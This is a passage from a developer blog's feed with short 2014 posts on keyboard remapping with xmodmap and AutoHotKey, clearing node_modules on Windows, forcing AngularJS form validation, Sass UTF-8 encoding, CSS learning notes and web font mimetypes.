&lt;p&gt;The others little changes I made were to add &lt;code&gt;AltGr+h&lt;/code&gt; as &lt;code&gt;#&lt;/code&gt; (hash, the
mnemonic is that a capital H looks a bit like a &lt;code&gt;#&lt;/code&gt;). Following the same idea I
put the pipe &lt;code&gt;|&lt;/code&gt; on &lt;code&gt;AltGr+j&lt;/code&gt;. I also put &lt;code&gt;&#92;&lt;/code&gt; on &lt;code&gt;AltGr+u&lt;/code&gt;. These are keys
easily accessible and I use them often.&lt;/p&gt;
&lt;p&gt;Finally, the last two important bindings are &lt;code&gt;AltGr+r&lt;/code&gt; to produce a &lt;code&gt;`&lt;/code&gt;. The
default French keyboard layout does not have a key for the backtick, so creating
mine was a huge timesaver. The last one is &lt;code&gt;AltGr+q&lt;/code&gt; to get a &lt;code&gt;~&lt;/code&gt; (tilde).&lt;/p&gt;
&lt;p&gt;I also tried to put &lt;code&gt;[&lt;/code&gt; and &lt;code&gt;]&lt;/code&gt; respectively on &lt;code&gt;AltGr+k&lt;/code&gt; and &lt;code&gt;AltGr+l&lt;/code&gt; but I
never use them.&lt;/p&gt;
&lt;p&gt;You find below the &lt;code&gt;xmodmap&lt;/code&gt; I use. Put it in a &lt;code&gt;~/.xmodmaprc&lt;/code&gt; file and run
&lt;code&gt;setxkbmap fr &amp;amp;&amp;amp; xmodmap ~/.xmodmaprc&lt;/code&gt; to apply them.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;keycode &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;27&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = r R r R grave&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;keycode &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = u U u U backslash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;keycode &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;31&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = i I i I minus&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;keycode &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = o O o O underscore&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;keycode &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;38&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = q Q q Q asciitilde&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;keycode &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;43&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = h H h H numbersign&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;keycode &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;44&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = j J j J bar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;keycode &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = k K k K bracketleft parenleft&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;keycode &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;46&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = l L l L bracketright parenright&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As I recently had to work on a Windows machine, I installed AutoHotKey and
created this little script to emulate the same shortcuts:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;^&gt;!r::Send ``{Space}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;^&gt;!u::Send &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;^&gt;!i::Send -&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;^&gt;!o::Send _&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;^&gt;!q::Send `~{Space}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;^&gt;!h::Send {#}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;^&gt;!j::Send |&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This little changes were a huge timesave for me, hope they gave you some ideas
too.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Windows filepath too long when deleting node_modules</title>
    <link href="https://blog.pixelastic.com/2014/09/16/windows-filepath-too-long-when-deleting-node_modules/"/>
    <updated>2014-09-16T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/09/16/windows-filepath-too-long-when-deleting-node_modules</id>
    <content type="html">&lt;p&gt;I&#39;m currently forced to develop on Windows. And it hurts. I feel like a
clockmaker forced to work with gloves and blindfolded. I keep hitting strange
and weird Windows limitations that are real productivity killers.&lt;/p&gt;
&lt;p&gt;The most recent was not being able to delete a folder because its filename was
too long. Wait, what? As soon as you start using &lt;code&gt;npm&lt;/code&gt; and download a bit of
modules, you&#39;ll most certainly end up with a &lt;code&gt;node_modules&lt;/code&gt; folder that&#39;s too
long for Windows to handle.&lt;/p&gt;
&lt;p&gt;But &lt;code&gt;npm&lt;/code&gt; is clever, and it can circumvent this limitation. So, whenever you
want to delete a &lt;code&gt;node_modules&lt;/code&gt; folder and Windows won&#39;t let you do it, use
&lt;code&gt;npm&lt;/code&gt;. Update your &lt;code&gt;package.json&lt;/code&gt; to remove every element in &lt;code&gt;dependencies&lt;/code&gt; and
&lt;code&gt;devDependencies&lt;/code&gt; and run &lt;code&gt;npm prune&lt;/code&gt;. This will empty your &lt;code&gt;node_modules&lt;/code&gt;
folder.&lt;/p&gt;
&lt;p&gt;You&#39;re welcome.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Setting all inputs as $dirty in AngularJS 1.2</title>
    <link href="https://blog.pixelastic.com/2014/09/10/setting-all-inputs-as-$dirty-in-angularjs-1.2/"/>
    <updated>2014-09-10T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/09/10/setting-all-inputs-as-$dirty-in-angularjs-1.2</id>
    <content type="html">&lt;p&gt;By design, in Angular, all forms and inputs are &lt;code&gt;$invalid&lt;/code&gt; by default. They are
also &lt;code&gt;$pristine&lt;/code&gt;, meaning they haven&#39;t been touched. So if you need to display
an error message next to a field, you not only have to check if the field is
&lt;code&gt;$invalid&lt;/code&gt;, but also if it&#39;s &lt;code&gt;$dirty&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now imagine you load your page, containing a form. You have several fields, and
none have any validation rules applied (no &lt;code&gt;ng-required&lt;/code&gt;, nor &lt;code&gt;ng-pattern&lt;/code&gt;). At
this stage, you form is &lt;code&gt;$invalid&lt;/code&gt;, because at least on of its fields is
&lt;code&gt;$invalid&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Each field will switch to &lt;code&gt;$dirty&lt;/code&gt; when a value is typed in it. Switching to
&lt;code&gt;$dirty&lt;/code&gt; will also trigger validation rules (if any), and updating its
&lt;code&gt;$valid&lt;/code&gt;/&lt;code&gt;$invalid&lt;/code&gt; property accordingly. When all fields will become &lt;code&gt;$valid&lt;/code&gt;,
the parent form will also automatically become &lt;code&gt;$valid&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The problem with that is when you want to submit your form without entering
anything in any of the fields. Your form is considered &lt;code&gt;$invalid&lt;/code&gt;. You have to
manually focus each field and enter a value to make it become &lt;code&gt;$valid&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I haven&#39;t found a nice way in Angular to trigger validation rules on all fields
of a form at once, to recalculate its validity. What I&#39;ve found is that if I
update the &lt;code&gt;viewValue&lt;/code&gt;, then the field becomes &lt;code&gt;$dirty&lt;/code&gt; and validation rules
kicks in and can pass my field to &lt;code&gt;$valid&lt;/code&gt;. So updating the &lt;code&gt;viewValue&lt;/code&gt; with
itself (thus, not changing anything) becomes a hackish way to trigger
validation.&lt;/p&gt;
&lt;p&gt;So I coded the following method. It takes a &lt;code&gt;$scope&lt;/code&gt; as argument and will loop
through each form in the scope, and trigger each field validation in this form
through the &lt;code&gt;setViewValue&lt;/code&gt; hack explained above. It will also handle nested
forms.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; setAllInputsDirty&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;scope&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  _&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;each&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;scope&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // We skip non-form and non-inputs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$dirty&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; undefined&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Recursively applying same method on all forms included in the form&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$addControl&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; setAllInputsDirty&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Setting inputs to $dirty, but re-applying its content in itself&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$setViewValue&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;$setViewValue&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$viewValue&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that it does some weak duck typing to check if an element is a form or an
input by checking for some methods. This will easily break, so be careful.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Sass UTF-8 encoding on Windows</title>
    <link href="https://blog.pixelastic.com/2014/09/06/compass-utf-8-encoding-on-windows/"/>
    <updated>2014-09-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/09/06/compass-utf-8-encoding-on-windows</id>
    <content type="html">&lt;p&gt;Ever had your UTF-8 string wrongly encoded in your output &lt;code&gt;.css&lt;/code&gt; files when
using Sass? Well, it might be an issue with the way Sass determines the encoding
of your files.&lt;/p&gt;
&lt;p&gt;Starting from Ruby 1.9, Sass will now try to guess the encoding of your sources
files before processing them. The algorithm used is
&lt;a href=&quot;http://sass-lang.com/documentation/file.SASS_REFERENCE.html#encodings&quot;&gt;defined in the documentation&lt;/a&gt;
but comes with a few caveats.&lt;/p&gt;
&lt;p&gt;It will first check for the &lt;a href=&quot;http://en.wikipedia.org/wiki/Byte_order_mark&quot;&gt;BOM&lt;/a&gt;
in your file, and if found will consider the file as being UTF-8. Using BOM is a
very bad practice when dealing with UTF-8 and you should absolutely not include
it.&lt;/p&gt;
&lt;p&gt;So, if no BOM is found, Sass will then look for a &lt;code&gt;@charset&lt;/code&gt; definition. It
looks for it exactly as the very first character on the very first line of the
document. If not found, it will then use the Ruby default encoding.&lt;/p&gt;
&lt;p&gt;And when you&#39;re on windows, the default encoding is usually &lt;code&gt;CP1252&lt;/code&gt;. And in the
end, you end up with every &lt;code&gt;UTF-8&lt;/code&gt; char encoded as three separate &lt;code&gt;CP1252&lt;/code&gt;
chars.&lt;/p&gt;
&lt;h2&gt;Solution?&lt;/h2&gt;
&lt;p&gt;Well, as adding a BOM is definitely not possible, you could add a &lt;code&gt;@charset&lt;/code&gt;
rule on top of EVERY SINGLE SASS FILE. Which is not a good solution either.
Changing the encoding OS-wide is not better.&lt;/p&gt;
&lt;p&gt;What you can do is force the output encoding with the &lt;code&gt;-E&lt;/code&gt; switch when using
sass on the commandline: &lt;code&gt;sass -E utf-8 main.css&lt;/code&gt;. And this will correctly
convert everything.&lt;/p&gt;
&lt;p&gt;Unfortunatly, if you&#39;re using Compass in addition to Sass, there is no easy way
to pass this switch to the underlying sass. What you can do instead is editing
the &lt;code&gt;config.rb&lt;/code&gt; file that comes with your Compass project and add the
&lt;code&gt;Encoding.default_external = &#39;utf-8&#39;&lt;/code&gt; line. This will change the Ruby default
encoding and output utf8 correctly.&lt;/p&gt;
&lt;p&gt;But hey, what if you&#39;re using compass through the &lt;code&gt;grunt-contrib-compass&lt;/code&gt; task ?
There is no &lt;code&gt;config.rb&lt;/code&gt; file that you can edit, and the task does not expose the
needed configuration switch. Your only solution is to use the &lt;code&gt;raw&lt;/code&gt; option to
pass the &lt;code&gt;Encoding.default_external&lt;/code&gt; config.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  options&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    raw&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Encoding.default_external = &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#39;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;utf-8&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#39;&#92;n&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mind the &lt;code&gt;&#92;n&lt;/code&gt; at the end and the quote escaping. This is needed for the task to
correctly parse.&lt;/p&gt;
&lt;p&gt;Hope this helped. Note that all this tweaking is not necessary if you&#39;re using
Ruby 1.8.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Getting up to date on CSS</title>
    <link href="https://blog.pixelastic.com/2014/08/24/getting-up-to-date-on-css/"/>
    <updated>2014-08-24T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/08/24/getting-up-to-date-on-css</id>
    <content type="html">&lt;p&gt;I have been coding in CSS for a few years. I started when IE6 was the major
browser but had to stop when HTML5 started to became a buzzword. Too bad. At
that time, I had a job where I mostly handled server-side stuff and couldn&#39;t
really keep on the newest CSS topics. Then I took a year off abroad.&lt;/p&gt;
&lt;p&gt;Now that I&#39;m back, I decided to get up to speed with all the goodness the CSS
world now has to offer. I decided to rewrite the default Hyde theme of this blog
with my own to better understand how it&#39;s done. Here is what I learned along the
way.&lt;/p&gt;
&lt;h2&gt;SCSS&lt;/h2&gt;
&lt;p&gt;This is the first time I&#39;m using a preprocessor, and the simple joy of being
able to use variables and mixins is great. The nesting is nice but I try not to
use it too much. I&#39;d rather have a OOCSS naming convention than too much
hierarchy in my selectors.&lt;/p&gt;
&lt;h2&gt;Autoprefixer&lt;/h2&gt;
&lt;p&gt;I added autoprefixer instead of SCSS mixins to handle cross-browser
compatibility as it seems a more future-proof approach. It leaves the underlying
SCSS files simpler to read.&lt;/p&gt;
&lt;h2&gt;Fonts&lt;/h2&gt;
&lt;p&gt;I grabbed a font on FontSquirrel to use on the titles. I simply copy-pasted the
relevant CSS code, but still do not understand all the details of it. I&#39;ll have
to read a bit more to really understand the browsers it covers.&lt;/p&gt;
&lt;h2&gt;rem&lt;/h2&gt;
&lt;p&gt;I started using &lt;code&gt;rem&lt;/code&gt; units as most as I could. This really removes the burden
of having to handle the math involved in using &lt;code&gt;em&lt;/code&gt;. I still had to use &lt;code&gt;px&lt;/code&gt; for
media-queries, though.&lt;/p&gt;
&lt;h2&gt;media-queries&lt;/h2&gt;
&lt;p&gt;I still struggle in remembering which one of &lt;code&gt;max-width&lt;/code&gt; or &lt;code&gt;min-width&lt;/code&gt; I need
to use in a given context, but otherwise media-queries are great. I coded first
for the perfect (or optimal) layout, and then added media-queries to handle
bigger and smaller screens.&lt;/p&gt;
&lt;p&gt;In my case optimal means enough space to display the sidebar and the text in a
way that&#39;s easily readable. I then transformed the sidebar into a header for
smaller screens, and even added a menu icon to display the menu on really small
screens.&lt;/p&gt;
&lt;p&gt;It&#39;s nice how SCSS lets you define media-queries inside of selectors, and using
variables for you breakpoints. This really fluidified the way I write code.&lt;/p&gt;
&lt;h2&gt;CSS tricks&lt;/h2&gt;
&lt;p&gt;I had to resort to two small CSS tricks (or mind puzzle) for this new design. I
like bending my mind to find creative solutions with a declarative language like
CSS. Here I created a menu (hamburger) icon in pure CSS using &lt;code&gt;:before&lt;/code&gt; and
&lt;code&gt;:after&lt;/code&gt; borders. I also displayed a menu when this icon is clicked using a
&lt;code&gt;&amp;lt;label&amp;gt;&lt;/code&gt; bound to a &lt;code&gt;checkbox&lt;/code&gt; and selecting the menu with a clever &lt;code&gt;+&lt;/code&gt;
selector.&lt;/p&gt;
&lt;p&gt;I really like not using images or Javascript for this kind of things. CSS is a
powerful language, but a hard one to master.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Otf, ttf, eot, woff and svg. What mimetypes to use?</title>
    <link href="https://blog.pixelastic.com/2014/08/24/correct-mimetypes-for-web-fonts/"/>
    <updated>2014-08-24T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/08/24/correct-mimetypes-for-web-fonts</id>
    <content type="html">&lt;p&gt;If you&#39;re using a custom font on your website, you&#39;ll probably end up with a
bunch of font files in various extensions. But do you know which &lt;code&gt;Content-Type&lt;/code&gt;
to use for each type of file?&lt;/p&gt;
&lt;h2&gt;SVG&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;svg&lt;/code&gt; fonts are the easiest. The svg format is well documented, and svg fonts
are not very different from svg images. Its mimetype is &lt;code&gt;image/svg+xml&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;EOT&lt;/h2&gt;
&lt;p&gt;The proprietary Microsoft format has its own (weird) mimetype,
&lt;code&gt;application/vnd.ms-fontobject&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;WOFF&lt;/h2&gt;
&lt;p&gt;Since 2013, &lt;code&gt;woff&lt;/code&gt; also happen to have its own registered mimetype,
&lt;code&gt;application/font-woff&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;OTF &amp;amp; TTF&lt;/h2&gt;
&lt;p&gt;Those two do not have a registered mimetype. You could get away with defining an
&lt;code&gt;application/octet-stream&lt;/code&gt;. But if you want to gzip them (and you should), you
often need a more precise &lt;code&gt;Content-Type&lt;/code&gt;, one that is not shared with any other
type of files.&lt;/p&gt;
&lt;p&gt;So to this end, it is considered acceptable to define a custom mimetype of
&lt;code&gt;application/x-font-opentype&lt;/code&gt; and &lt;code&gt;application/x-font-truetype&lt;/code&gt;. The &lt;code&gt;x-&lt;/code&gt; is
here to tell that it&#39;s a custom mimetype and that it should be treated as
binary.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Angular form input redundancy</title>
    <link href="https://blog.pixelastic.com/2014/08/08/angular-form-input-redundancy/"/>
    <updated>2014-08-08T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/08/08/angular-form-input-redundancy</id>
    <content type="html">&lt;p&gt;I love angular for the simplicity offered by the two-way binding between form
inputs and displayed values. It also has pretty good mechanisms for validating
and sanitizing data.&lt;/p&gt;
&lt;p&gt;But I hate angular for how it treats the HTML markup as a second class citizen.
You have to pollute your markup with all sorts of attributes, and it ends up
with a great deal more logic than it should.&lt;/p&gt;
&lt;p&gt;Angular is good for making complex forms, so you&#39;ll write quite a bit of them.
You&#39;ll end up with some very long views, with a great deal of redundancy. This
is not DRY at all, and it leaves a bad taste in my mouth.&lt;/p&gt;
&lt;p&gt;Let&#39;s take a sample form:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;form&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;subscription&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; novalidate&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;firstName&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
